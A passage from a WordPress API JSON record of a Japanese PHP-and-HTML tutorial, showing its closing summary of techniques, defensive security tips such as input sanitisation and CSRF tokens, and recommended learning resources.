class=\"wp-block-list\">\n<li><strong>\u5f79\u5272\u306e\u660e\u78ba\u5316<\/strong>\uff1aHTML\u306f\u69cb\u9020\u3068\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5b9a\u7fa9\u3092\u62c5\u5f53\u3057\u3001PHP\u306f\u52d5\u7684\u306a\u30c7\u30fc\u30bf\u51e6\u7406\u3068\u751f\u6210\u3092\u62c5\u5f53\u3057\u307e\u3059\u3002\u3053\u306e\u5f79\u5272\u5206\u62c5\u3092\u7406\u89e3\u3059\u308b\u3053\u3068\u304c\u9023\u643a\u306e\u7b2c\u4e00\u6b69\u3067\u3059\u3002<\/li>\n\n\n\n<li><strong>\u9069\u5207\u306a\u51fa\u529b\u65b9\u6cd5\u306e\u9078\u629e<\/strong>\uff1aecho\u3001print\u3001\u30d2\u30a2\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08heredoc\uff09\u3001\u30ca\u30a6\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08nowdoc\uff09\u306a\u3069\u3001\u72b6\u6cc1\u306b\u5fdc\u3058\u305f\u51fa\u529b\u65b9\u6cd5\u3092\u4f7f\u3044\u5206\u3051\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u78ba\u4fdd<\/strong>\uff1a\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u30c7\u30fc\u30bf\u306f\u5fc5\u305a\u30b5\u30cb\u30bf\u30a4\u30ba\u3057\u3001XSS\u653b\u6483\u306a\u3069\u306e\u8106\u5f31\u6027\u3092\u9632\u6b62\u3059\u308b\u3053\u3068\u304c\u4e0d\u53ef\u6b20\u3067\u3059\u3002<code>htmlspecialchars()<\/code>\u306a\u3069\u306e\u95a2\u6570\u3092\u9069\u5207\u306b\u4f7f\u7528\u3057\u307e\u3057\u3087\u3046\u3002<\/li>\n\n\n\n<li><strong>\u30b3\u30fc\u30c9\u306e\u69cb\u9020\u5316<\/strong>\uff1aPHP\u3068HTML\u304c\u6df7\u5728\u3059\u308b\u30b3\u30fc\u30c9\u3067\u3082\u3001\u4e00\u8cab\u3057\u305f\u30a4\u30f3\u30c7\u30f3\u30c8\u3084\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u898f\u7d04\u3092\u5b88\u308b\u3053\u3068\u3067\u53ef\u8aad\u6027\u3068\u4fdd\u5b88\u6027\u304c\u5411\u4e0a\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u9023\u643a\u306e\u6700\u9069\u5316<\/strong>\uff1aPDO\u3092\u4f7f\u7528\u3057\u305f\u5b89\u5168\u306a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u3068\u3001\u52b9\u7387\u7684\u306a\u30af\u30a8\u30ea\u306b\u3088\u308bHTML\u306e\u52d5\u7684\u751f\u6210\u304c\u91cd\u8981\u3067\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6d3b\u7528<\/strong>\uff1a\u5927\u898f\u6a21\u306a\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306f\u3001Twig\u3084Blade\u306a\u3069\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u30ed\u30b8\u30c3\u30af\u3068\u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u306e\u5206\u96e2\u304c\u5bb9\u6613\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406<\/strong>\uff1a\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u7570\u306a\u308b\u30a8\u30e9\u30fc\u8868\u793a\u8a2d\u5b9a\u3092\u884c\u3044\u3001\u30e6\u30fc\u30b6\u30fc\u30d5\u30ec\u30f3\u30c9\u30ea\u30fc\u306a\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u3092\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3067\u30e6\u30fc\u30b6\u30fc\u4f53\u9a13\u304c\u5411\u4e0a\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u5bfe\u5fdc<\/strong>\uff1aPHP\u3092\u4f7f\u3063\u3066\u30c7\u30d0\u30a4\u30b9\u306b\u6700\u9069\u5316\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u751f\u6210\u3059\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u826f\u3044\u30e6\u30fc\u30b6\u30fc\u4f53\u9a13\u3092\u63d0\u4f9b\u3067\u304d\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316<\/strong>\uff1a\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565\u3084\u30b3\u30fc\u30c9\u306e\u6700\u9069\u5316\u306b\u3088\u3063\u3066\u3001PHP\u3068HTML\u306e\u9023\u643a\u3092\u52b9\u7387\u7684\u306b\u5b9f\u73fe\u3057\u3001\u9ad8\u901f\u306a\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u69cb\u7bc9\u3067\u304d\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-67\">\u5b66\u3093\u306010\u306e\u30c6\u30af\u30cb\u30c3\u30af\u306e\u5fa9\u7fd2<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>HTML\u3068PHP\u306e\u57fa\u672c\u7684\u306a\u9023\u643a\u65b9\u6cd5<\/strong>\uff1aPHP\u306e\u51e6\u7406\u30d5\u30ed\u30fc\u3068HTML\u3078\u306e\u51fa\u529b\u65b9\u6cd5<\/li>\n\n\n\n<li><strong>\u52b9\u7387\u7684\u306aHTML\u51fa\u529b\u30c6\u30af\u30cb\u30c3\u30af<\/strong>\uff1aecho\/print\u3001heredoc\/nowdoc\u3001\u5909\u6570\u306e\u57cb\u3081\u8fbc\u307f<\/li>\n\n\n\n<li><strong>PHP\u3068HTML\u306e\u6df7\u5728\u30b3\u30fc\u30c9\u306e\u66f8\u304d\u65b9<\/strong>\uff1a\u53ef\u8aad\u6027\u3092\u4fdd\u3064\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u624b\u6cd5<\/li>\n\n\n\n<li><strong>\u30d5\u30a9\u30fc\u30e0\u51e6\u7406\u3068\u5165\u529b\u691c\u8a3c<\/strong>\uff1aGET\/POST\u30e1\u30bd\u30c3\u30c9\u306e\u4f7f\u3044\u5206\u3051\u3068\u30c7\u30fc\u30bf\u306e\u30b5\u30cb\u30bf\u30a4\u30ba<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56<\/strong>\uff1aXSS\u653b\u6483\u9632\u6b62\u3068CSRF\u30c8\u30fc\u30af\u30f3\u306e\u5b9f\u88c5<\/li>\n\n\n\n<li><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u9023\u643a<\/strong>\uff1aPDO\u3092\u4f7f\u7528\u3057\u305f\u30c7\u30fc\u30bf\u306e\u53d6\u5f97\u3068\u8868\u793a<\/li>\n\n\n\n<li><strong>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6d3b\u7528<\/strong>\uff1aTwig\u3092\u4f7f\u3063\u305f\u52b9\u7387\u7684\u306a\u30d3\u30e5\u30fc\u7ba1\u7406<\/li>\n\n\n\n<li><strong>\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0<\/strong>\uff1atry-catch\u306b\u3088\u308b\u4f8b\u5916\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0\u30c4\u30fc\u30eb<\/li>\n\n\n\n<li><strong>\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u5bfe\u5fdc<\/strong>\uff1a\u30c7\u30d0\u30a4\u30b9\u691c\u51fa\u3068\u30e2\u30d0\u30a4\u30eb\u30d5\u30a1\u30fc\u30b9\u30c8\u30a2\u30d7\u30ed\u30fc\u30c1<\/li>\n\n\n\n<li><strong>\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316<\/strong>\uff1a\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565\u3068\u30b3\u30fc\u30c9\u6700\u9069\u5316\u30c6\u30af\u30cb\u30c3\u30af<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-68\">\u3055\u3089\u306a\u308b\u5b66\u7fd2\u30ea\u30bd\u30fc\u30b9<\/h3>\n\n\n\n<p>PHP\u3068HTML\u306e\u9023\u643a\u306b\u3064\u3044\u3066\u3055\u3089\u306b\u5b66\u3073\u3092\u6df1\u3081\u308b\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u30ea\u30bd\u30fc\u30b9\u304c\u5f79\u7acb\u3061\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>PHP\u516c\u5f0f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8<\/strong>: \u5e38\u306b\u6700\u65b0\u306e\u60c5\u5831\u304c\u63b2\u8f09\u3055\u308c\u3066\u3044\u308b\u4fe1\u983c\u6027\u306e\u9ad8\u3044\u30ea\u30bd\u30fc\u30b9<\/li>\n\n\n\n<li><strong>Mozilla Developer Network (MDN)<\/strong>: HTML\u3001CSS\u3001JavaScript\u306b\u3064\u3044\u3066\u306e\u5305\u62ec\u7684\u306a\u30ac\u30a4\u30c9<\/li>\n\n\n\n<li><strong>PHP The Right Way<\/strong>: \u30e2\u30c0\u30f3\u306aPHP\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u96c6<\/li>\n\n\n\n<li><strong>Laracasts<\/strong>: PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3084\u30a6\u30a7\u30d6\u958b\u767a\u306b\u95a2\u3059\u308b\u9ad8\u54c1\u8cea\u306a\u52d5\u753b\u30c1\u30e5\u30fc\u30c8\u30ea\u30a2\u30eb<\/li>\n\n\n\n<li><strong>Symfony\/Laravel\u516c\u5f0f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8<\/strong>: \u4eba\u6c17\u306ePHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u3064\u3044\u3066\u5b66\u3076<\/li>\n\n\n\n<li><strong>PHP Security Cheat Sheet (OWASP)<\/strong>: PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/li>\n<\/ul>\n\n\n\n<p>\u7d99\u7d9a\u7684\u306a\u5b66\u7fd2\u3068\u5b9f\u8df5\u3092\u901a\u3058\u3066\u3001PHP\u3068HTML\u3092\u52b9\u679c\u7684\u306b\u9023\u643a\u3055\u305b\u305f\u30a6\u30a7\u30d6\u958b\u767a\u30b9\u30ad\u30eb\u3092\u78e8\u3044\u3066\u3044\u304f\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Warning: Undefined array key &#8220;is_admin&#8221; in \/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/ &#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[63],"tags":[],"class_list":{"0":"post-3667","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-php-syntax","7":"nothumb"},"_links":{"self":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts\/3667","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3667"}],"version-history":[{"count":1,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts\/3667\/revisions"}],"predecessor-version":[{"id":3668,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts\/3667\/revisions\/3668"}],"wp:attachment":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3667"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3667"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3667"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}